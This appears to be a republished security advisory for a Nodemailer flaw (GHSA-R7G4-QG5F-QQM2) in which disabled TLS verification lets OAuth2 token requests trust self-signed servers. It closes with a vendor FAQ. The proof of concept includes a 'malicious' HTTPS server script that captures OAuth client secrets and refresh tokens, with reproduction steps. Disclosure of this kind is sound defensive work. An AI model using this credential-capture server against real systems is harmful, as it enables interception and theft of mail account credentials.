GHSA-R7G4-QG5F-QQM2

Nodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js.

As a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation.

An attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture:

• OAuth client_secret
• refresh_token
• access tokens

The issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint.

Details

Root Cause

The issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests.

Inside:

lib/fetch/index.js

the request options contain:

rejectUnauthorized: false

This disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration.

As a result:

• self-signed certificates are trusted
• invalid CA chains are accepted
• hostname validation is bypassed
• attacker-controlled HTTPS endpoints are treated as trusted

This violates expected HTTPS security guarantees.

Vulnerable Flow

The vulnerable execution chain is:

OAuth2 Transport
↓
XOAuth2 token generation
↓
Internal HTTPS fetch client
↓
HTTPS request with rejectUnauthorized:false
↓
Attacker-controlled/self-signed endpoint trusted
↓
OAuth credentials transmitted

PoC

Environment

Mail API (app/server.js)

const express = require("express");
const nodemailer = require("nodemailer");
require("dotenv").config();

const app = express();

app.use(express.json());

const transporter = nodemailer.createTransport({
    host: process.env.SMTP_HOST,
    port: process.env.SMTP_PORT,
    secure: false,
    auth: {
        user: process.env.SMTP_USER,
        pass: process.env.SMTP_PASS
    }
});

app.post("/send", async (req, res) => {
    try {
        const { to, subject, text, html } = req.body;

        const info = await transporter.sendMail({
            from: `"Mailer" <${process.env.SMTP_USER}>`,
            to,
            subject,
            text,
            html
        });

        res.json({
            success: true,
            messageId: info.messageId
        });

    } catch (err) {
        console.error(err);
        res.status(500).json({
            success: false,
            error: err.message
        });
    }
});

app.listen(process.env.PORT, () => {
    console.log(`Mailer running on port ${process.env.PORT}`);
});

Malicious HTTPS OAuth Server (poc/evil-oauth.js)

const https = require('https');
const fs = require('fs');

https.createServer({
    key: fs.readFileSync('./key.pem'),
    cert: fs.readFileSync('./cert.pem')
}, (req, res) => {

    console.log('\n==== REQUEST INTERCEPTED ====');
    console.log(req.method, req.url);

    let body = '';

    req.on('data', chunk => {
        body += chunk;
    });

    req.on('end', () => {

        console.log('\nPOST BODY:');
        console.log(body);

        res.writeHead(200, {
            'Content-Type': 'application/json'
        });

        res.end(JSON.stringify({
            access_token: 'attacker_token',
            expires_in: 3600
        }));
    });

}).listen(8443, () => {
    console.log('Malicious HTTPS OAuth server listening on 8443');
});

Nodemailer OAuth2 Test (test.js)

const nodemailer = require('./');

const transporter = nodemailer.createTransport({
    service: 'gmail',

    auth: {
        type: 'OAuth2',

        user: '[email protected]',

        clientId: 'CLIENT_ID_REDACTED',
        clientSecret: 'CLIENT_SECRET_REDACTED',

        refreshToken: 'REFRESH_TOKEN_REDACTED',

        accessUrl: 'https://localhost:8443/token'
    }
});

transporter.sendMail({
    from: '[email protected]',
    to: '[email protected]',
    subject: 'PoC',
    text: 'test'

}, (err, info) => {

    console.log('\n==== NODEMAILER RESULT ====');

    if (err) {
        console.error(err);
    } else {
        console.log(info);
    }
});

Steps to Reproduce

• Start malicious HTTPS OAuth server:
• node poc/evil-oauth.js
• Run Nodemailer OAuth2 test:
• node test.js
• Observe intercepted OAuth2 request body on the malicious HTTPS server.

PIC

• OAuth credential theft
• unauthorized email access
• persistent token abuse
• unauthorized mail sending
• mailbox compromise
• interception/tampering of OAuth responses

The issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.

GHSA-R7G4-QG5F-QQM2 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (8.0.8); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is GHSA-R7G4-QG5F-QQM2? GHSA-R7G4-QG5F-QQM2 is a medium-severity security vulnerability in nodemailer (npm), affecting versions <= 8.0.7. It is fixed in 8.0.8.
2. How severe is GHSA-R7G4-QG5F-QQM2? GHSA-R7G4-QG5F-QQM2 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of nodemailer are affected by GHSA-R7G4-QG5F-QQM2? nodemailer (npm) versions <= 8.0.7 is affected.
4. Is there a fix for GHSA-R7G4-QG5F-QQM2? Yes. GHSA-R7G4-QG5F-QQM2 is fixed in 8.0.8. Upgrade to this version or later.
5. Is GHSA-R7G4-QG5F-QQM2 exploitable, and should I be worried? Whether GHSA-R7G4-QG5F-QQM2 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-R7G4-QG5F-QQM2 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-R7G4-QG5F-QQM2? Upgrade nodemailer to 8.0.8 or later.